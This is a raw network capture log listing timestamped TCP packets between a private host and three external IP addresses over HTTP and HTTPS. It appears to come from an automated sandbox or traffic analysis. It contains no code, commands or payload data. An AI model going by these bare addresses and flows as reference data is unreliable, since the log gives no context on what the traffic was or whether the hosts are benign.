Dec 18, 2024 11:09:12.805114031 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.805136919 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.805176020 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.806076050 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.806121111 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.806174040 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.806212902 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.807168007 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.807212114 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.807286024 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.807326078 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.808226109 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.808269024 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.808329105 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.808367014 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.809284925 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.809325933 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.809410095 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.809448004 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.810367107 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.810408115 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.810460091 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.810498953 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.811448097 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.811490059 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.811600924 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.811642885 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.812570095 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.812616110 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.812659979 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.812699080 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.813580036 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.813618898 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.813622952 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.813652992 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.814632893 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.814676046 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.814712048 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.814753056 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.933219910 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.933239937 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.933285952 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.933320045 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.934150934 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.934165955 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.934195995 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.934214115 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.052620888 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.052653074 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.052735090 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.052762032 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.053569078 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.053582907 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.053615093 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.172251940 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172274113 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172286987 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172303915 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172316074 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172327995 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172338963 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172350883 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172363043 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172363997 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.172374964 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172388077 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172405005 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.172424078 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.172620058 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172632933 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172652006 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172657013 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.172693014 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172693014 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.172707081 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172718048 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172730923 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172730923 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.172743082 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172754049 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.172761917 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.172781944 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.172796965 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.173435926 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173449039 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173460007 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173471928 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173480034 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.173511982 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.173516035 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173527956 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173538923 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173548937 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.173552036 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173563004 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173574924 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173578024 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.173588037 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.173607111 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.173628092 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.174288988 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.174325943 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.174355030 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.174391031 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.174407005 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.174420118 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.174432039 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.174441099 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.174447060 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.174458027 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.174460888 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.174473047 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.174494028 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.174894094 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.174937010 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.175035000 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.175070047 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.175071001 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.175081968 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.175093889 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.175105095 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.175106049 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.175118923 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.175120115 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.175141096 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.175203085 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.176866055 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.176881075 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.176913023 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.176927090 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.177570105 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.177592993 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.177604914 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.177623034 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.177712917 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.177723885 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.177742958 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.177743912 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.177756071 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.177762032 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.177767038 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.177776098 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.177778959 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.177793980 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.177797079 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.177815914 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.177849054 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.178469896 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.178483963 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.178508043 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.178519964 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.178536892 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.178556919 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.178569078 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.178571939 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.178591967 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.178607941 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179017067 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179033041 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179047108 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179049015 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179069042 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179075956 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179084063 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179086924 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179099083 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179101944 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179110050 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179119110 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179124117 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179135084 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179136038 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179162979 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179856062 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179867983 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179877996 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179894924 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179898024 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179922104 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179925919 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179939032 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179944038 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179950953 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.179954052 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179965973 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.179976940 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.180003881 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.180691957 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180727959 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.180752993 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180764914 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180774927 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180788040 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.180813074 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.180859089 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180871010 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180891037 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180896044 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.180905104 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180917978 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180922031 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.180928946 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180939913 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:13.180948973 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:13.180983067 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:15.550048113 CET	49871	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:15.550499916 CET	49888	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:15.670030117 CET	80	49888	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:15.670084000 CET	80	49871	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:15.670125008 CET	49888	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:15.670160055 CET	49871	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:15.670331001 CET	49888	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:15.789730072 CET	80	49888	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:17.000703096 CET	80	49888	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:17.000757933 CET	49888	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:17.003097057 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:17.007242918 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:17.122925043 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:17.123528004 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:17.126765013 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:17.126844883 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:17.127027988 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:17.246721029 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:17.581513882 CET	49895	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:17.581562042 CET	443	49895	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:17.581634998 CET	49895	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:17.586405039 CET	49895	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:17.586451054 CET	443	49895	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:18.448532104 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.448563099 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.448575974 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.448589087 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.448636055 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.448647022 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.448659897 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.448659897 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.448704004 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.448872089 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.448884010 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.448895931 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.448908091 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.448914051 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.448935032 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.448964119 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.568406105 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.568475008 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.568483114 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.568525076 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.572487116 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.572531939 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.639249086 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.639318943 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.639384031 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.639420986 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.643409967 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.643454075 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.643455982 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.643491030 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.651938915 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.651982069 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.654864073 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.654912949 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.654922009 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.654948950 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.663232088 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.663248062 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.663286924 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.663325071 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.671611071 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.671662092 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.671884060 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.671922922 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.680834055 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.680876017 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.680982113 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.681021929 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.688302994 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.688352108 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.688426971 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.688467979 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.697609901 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.697628021 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.697663069 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.697690010 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.705943108 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.705959082 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.705990076 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.706011057 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.714822054 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.714843035 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.714869976 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.714889050 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.721648932 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.721656084 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.721693993 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.721735954 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.758848906 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.758907080 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.796633959 CET	443	49895	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:18.796849012 CET	49895	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:18.798612118 CET	49895	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:18.798618078 CET	443	49895	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:18.798813105 CET	443	49895	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:18.830462933 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.830528975 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.830693007 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.830738068 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.832835913 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.832859039 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.832889080 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.832912922 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.837663889 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.837747097 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.837779045 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.837821007 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.842473984 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.842540979 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.842607975 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.842653036 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.844211102 CET	49895	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:18.847311974 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.847407103 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.847554922 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.847599030 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.849056959 CET	49895	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:18.849081993 CET	49895	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:18.849136114 CET	443	49895	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:18.856291056 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.856338978 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.856363058 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.856385946 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.856911898 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.856961966 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.856969118 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.857013941 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.861247063 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.861304045 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.861356974 CET	80	49894	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:18.861402988 CET	49894	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:18.865982056 CET	80	49894	31.41.244.11	192.168.2.6
